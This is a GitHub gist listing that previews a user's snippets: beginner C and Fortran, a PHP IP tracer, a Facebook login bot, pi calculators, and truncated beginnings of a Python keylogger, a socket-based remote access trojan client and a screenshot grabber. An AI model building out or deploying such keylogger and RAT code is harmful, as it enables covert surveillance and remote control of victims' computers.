Skip to content

Instantly share code, notes, and snippets.

#include <stdio.h>
void main(){
float x,y;
char ch, escape;
printf("Enter x & y\n");
scanf("%f %f", &x, &y);
/*
Automatically a new line character input is made by the c-program itself.
To prevent the unexpected input messing our program, we placed the
@rk4bir
rk4bir / hello.f90
Created April 1, 2019 15:09
01. Fortran Bangla programming tutorial for beginner: Introduction & installation of IDE
PROGRAM Test
IMPLICIT NONE
WRITE(*,*)"Hello Fortran"
END PROGRAM
@rk4bir
rk4bir / index.php
Created April 1, 2019 15:14
IP tracing with PHP
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<?php
error_reporting(0);
date_default_timezone_set("Asia/Dhaka");
@rk4bir
rk4bir / login-bot.py
Created April 1, 2019 15:16
Login bot with python
from selenium import webdriver
def loginBOT(usr, pas):
br = webdriver.Firefox()
br.get("https://web.facebook.com/")
user = br.find_element_by_css_selector("#email")
user.clear()
user.send_keys(usr)
passwd = br.find_element_by_css_selector("#pass")
@rk4bir
rk4bir / keylogger.py
Created April 1, 2019 15:18
Key logger with python
import win32gui
from pynput import keyboard
import time
# when user press the key
def on_press(key):
file = open('key_logs.txt', 'a')
try:
value = '{' + str( win32gui.GetWindowText(win32gui.GetForegroundWindow()) ) + ', ' + str(time.ctime()) + '} ' + str(key.char) + '\n'
import argparse
from threading import Thread
import time
'''Working formula: PI = 4.0 * ( 1 - 1/3 + 1/5 - 1/7 + 1/9 - ...)'''
# GLOBAL VARIABLES
NEGATIVE_SUM = 0.0
// This program is to caculate PI using MPI
/*
* The algorithm is based on Monte Carlo method. The Monte Carlo method
* randomly picks up a large number of points in a square. It only counts
* the ratio of pints in side the circule.
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#!/usr/bin/bash
# run mpi_pi.c with np from 1 to 8
mpicc -o pi mpi_pi.c
for i in $(seq 1 8); do
mpirun -np $i ./pi
done
@rk4bir
rk4bir / client.py
Created April 1, 2019 15:23
RAT with python socket
import socket
import time
import random
import os
def getInstructions(s):
while True:
msg = s.recv(4096)
cmd = msg.decode("UTF-8")
import pyscreenshot as ss
import time, getpass
def sstaker():
usr = getpass.getuser()
ctime = time.time()
while True:
if (ctime - time.time()) == 30.0:
try:
pic = ss.grab()